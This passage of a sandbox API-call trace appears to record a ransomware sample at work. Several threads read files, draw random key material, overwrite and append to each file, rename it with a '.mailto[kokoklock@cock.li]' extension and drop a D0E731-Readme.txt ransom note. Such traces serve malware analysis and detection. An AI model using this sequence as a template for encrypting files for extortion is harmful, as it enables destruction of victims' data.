(HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0008 [0063.873] NtQuerySystemTime (in: CurrentTime=0xb4afc04 | out: CurrentTime=0xb4afc04*=132121176217683981) returned 0x0 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xecb8b6a1 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x7d94f30e [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x832a5498 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x82f8d34d [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x698d8e88 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x7bc24b59 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x177108c3 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xaa67ec64 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x16e9919a [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xb848f3f1 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xaf467063 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xe75e1e78 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xde5bc851 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x338547cc [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x44644206 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x3a4e5b8e [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xffcddc1c [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xf7e51b07 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x407c2fcc [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x36e7481a [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0xb6d263b0 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x79659449 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x8b7c2543 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x9cb97f99 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x4821090b [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x9c84dde8 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x824cc23c [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x7b900178 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x920983e4 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x42f971aa [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x396d811 [0063.873] RtlRandom (in: Seed=0xb4afc10 | out: Seed=0xb4afc10) returned 0x6044468c [0063.882] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0063.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0063.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff18 [0063.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0063.884] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.884] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d45e8 [0063.885] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.885] ReadFile (in: hFile=0x3a0, lpBuffer=0x55d45e8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb4afbdc, lpOverlapped=0x0 | out: lpBuffer=0x55d45e8*, lpNumberOfBytesRead=0xb4afbdc*=0x4096, lpOverlapped=0x0) returned 1 [0064.286] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0064.286] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effe0) returned 1 [0064.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efec8 [0064.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0064.286] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effe0) returned 1 [0064.286] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.286] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb4afbdc, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xb4afbdc*=0x4096, lpOverlapped=0x0) returned 1 [0064.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.287] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x988a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x33efec8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb4afc14, lpOverlapped=0x0 | out: lpBuffer=0x33efec8*, lpNumberOfBytesWritten=0xb4afc14*=0x20, lpOverlapped=0x0) returned 1 [0064.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efec8) returned 1 [0064.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d45e8) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x33eff18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb4afc28, lpOverlapped=0x0 | out: lpBuffer=0x33eff18*, lpNumberOfBytesWritten=0xb4afc28*=0x8, lpOverlapped=0x0) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0xb4afc40*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb4afc28, lpOverlapped=0x0 | out: lpBuffer=0xb4afc40*, lpNumberOfBytesWritten=0xb4afc28*=0x4, lpOverlapped=0x0) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb4afc28, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb4afc28*=0x4, lpOverlapped=0x0) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb4afc28, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb4afc28*=0x6c, lpOverlapped=0x0) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x33efef0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb4afc28, lpOverlapped=0x0 | out: lpBuffer=0x33efef0*, lpNumberOfBytesWritten=0xb4afc28*=0x20, lpOverlapped=0x0) returned 1 [0064.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb4afc28, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb4afc28*=0x4, lpOverlapped=0x0) returned 1 [0064.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efef0) returned 1 [0064.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff18) returned 1 [0064.288] CloseHandle (hObject=0x3a0) returned 1 [0064.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb270 [0064.539] wcscpy (in: _Dest=0x33eb270, _Source="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" [0064.539] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0064.539] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.541] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.541] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0064.541] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", dwFileAttributes=0x80) returned 0 [0064.541] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e0a0 [0064.541] wcscpy (in: _Dest=0x347e0a0, _Source="C:\\588bce7c90097ed212\\Extended\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0064.542] wcscat (in: _Dest=0x347e0a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" [0064.542] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\d0e731-readme.txt")) returned 0x20 [0064.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e0a0) returned 1 [0064.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481d38) returned 1 [0064.542] RtlExitUserThread (Status=0x1) Thread: id = 210 os_tid = 0x11c0 [0063.465] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0063.465] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", dwFileAttributes=0x20) returned 1 [0063.466] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0063.466] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0xb52f798 | out: lpFileSize=0xb52f798*=6309) returned 1 [0063.466] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x18a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.466] ReadFile (in: hFile=0x39c, lpBuffer=0xb52f76c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb52f768, lpOverlapped=0x0 | out: lpBuffer=0xb52f76c*, lpNumberOfBytesRead=0xb52f768*=0x4, lpOverlapped=0x0) returned 1 [0063.885] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff40 [0063.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff68 [0063.885] NtQuerySystemTime (in: CurrentTime=0xb52f744 | out: CurrentTime=0xb52f744*=132121176217840167) returned 0x0 [0063.885] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xae7c80db [0063.885] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x75ee9476 [0063.885] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xfd44781b [0063.885] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xf6c3aa74 [0063.885] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xa82a6328 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x6f17f304 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x455775f9 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x75ffc1ca [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x2a69ac3a [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x8122a676 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xe24ed04e [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xf43121f9 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x4ca10755 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xc85a9112 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xac7c0c36 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xd6081ebc [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xca062ac2 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x66aeddfe [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x6a835c40 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xeac18cab [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x5e7b121b [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x8a850bde [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x8816725a [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xd0abb8a6 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x40e01fb3 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x79b199c5 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x4daaba5 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x94fd8511 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x274076d4 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xc4367f50 [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0xda975bef [0063.886] RtlRandom (in: Seed=0xb52f750 | out: Seed=0xb52f750) returned 0x48c2d180 [0063.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff90 [0063.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0063.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00a8 [0063.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0063.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0063.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0063.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8688 [0063.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55dc728 [0063.899] ReadFile (in: hFile=0x39c, lpBuffer=0x55d8688, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0xb52f744, lpOverlapped=0x0 | out: lpBuffer=0x55d8688*, lpNumberOfBytesRead=0xb52f744*=0x18a5, lpOverlapped=0x0) returned 1 [0064.288] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb52f70c | out: lpNewFilePointer=0x0) returned 1 [0064.289] WriteFile (in: hFile=0x39c, lpBuffer=0x55dc728*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0xb52f740, lpOverlapped=0x0 | out: lpBuffer=0x55dc728*, lpNumberOfBytesWritten=0xb52f740*=0x18a5, lpOverlapped=0x0) returned 1 [0064.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0064.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.289] WriteFile (in: hFile=0x39c, lpBuffer=0x33effe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb52f73c, lpOverlapped=0x0 | out: lpBuffer=0x33effe0*, lpNumberOfBytesWritten=0xb52f73c*=0x20, lpOverlapped=0x0) returned 1 [0064.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effe0) returned 1 [0064.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc728) returned 1 [0064.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8688) returned 1 [0064.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0064.289] WriteFile (in: hFile=0x39c, lpBuffer=0x33f00a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb52f768, lpOverlapped=0x0 | out: lpBuffer=0x33f00a8*, lpNumberOfBytesWritten=0xb52f768*=0x8, lpOverlapped=0x0) returned 1 [0064.289] WriteFile (in: hFile=0x39c, lpBuffer=0xb52f780*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb52f768, lpOverlapped=0x0 | out: lpBuffer=0xb52f780*, lpNumberOfBytesWritten=0xb52f768*=0x4, lpOverlapped=0x0) returned 1 [0064.290] WriteFile (in: hFile=0x39c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb52f768, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb52f768*=0x4, lpOverlapped=0x0) returned 1 [0064.290] WriteFile (in: hFile=0x39c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb52f768, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb52f768*=0x6c, lpOverlapped=0x0) returned 1 [0064.290] WriteFile (in: hFile=0x39c, lpBuffer=0x33eff40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb52f768, lpOverlapped=0x0 | out: lpBuffer=0x33eff40*, lpNumberOfBytesWritten=0xb52f768*=0x20, lpOverlapped=0x0) returned 1 [0064.290] WriteFile (in: hFile=0x39c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb52f768, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb52f768*=0x4, lpOverlapped=0x0) returned 1 [0064.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff40) returned 1 [0064.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff90) returned 1 [0064.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00a8) returned 1 [0064.290] CloseHandle (hObject=0x39c) returned 1 [0064.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3486220 [0064.291] wcscpy (in: _Dest=0x3486220, _Source="C:\\588bce7c90097ed212\\3076\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf" [0064.291] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0064.291] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.532] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0064.532] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", dwFileAttributes=0x80) returned 0 [0064.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427618 [0064.532] wcscpy (in: _Dest=0x3427618, _Source="C:\\588bce7c90097ed212\\3076\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0064.532] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt" [0064.532] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\d0e731-readme.txt")) returned 0xffffffff [0064.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0064.534] WriteFile (in: hFile=0x39c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb52f764, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb52f764*=0x481, lpOverlapped=0x0) returned 1 [0064.536] CloseHandle (hObject=0x39c) returned 1 [0064.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0064.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa378) returned 1 [0064.536] RtlExitUserThread (Status=0x1) Thread: id = 211 os_tid = 0x11c4 [0063.467] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0063.467] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0063.468] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0063.468] GetFileSizeEx (in: hFile=0x398, lpFileSize=0xb5afaa8 | out: lpFileSize=0xb5afaa8*=60816) returned 1 [0063.468] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xed8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.468] ReadFile (in: hFile=0x398, lpBuffer=0xb5afa7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb5afa78, lpOverlapped=0x0 | out: lpBuffer=0xb5afa7c*, lpNumberOfBytesRead=0xb5afa78*=0x4, lpOverlapped=0x0) returned 1 [0063.900] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effb8 [0063.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0120 [0063.900] NtQuerySystemTime (in: CurrentTime=0xb5afa54 | out: CurrentTime=0xb5afa54*=132121176217999357) returned 0x0 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x292ab9d9 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xaea0e1c9 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xfc17df53 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xcff8a3dd [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x18189721 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xedfeecac [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x8de23209 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xdbbd79a8 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x1a4b7fc0 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xa9aec5eb [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xf289729b [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xe86941cc [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x1ce16da1 [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x7c66eb5e [0063.900] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xf91618a8 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x2916a5e2 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0xaf977e44 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x89c5cb75 [0063.901] RtlRandom (in: Seed=0xb5afa60 | out: Seed=0xb5afa60) returned 0x80c72062 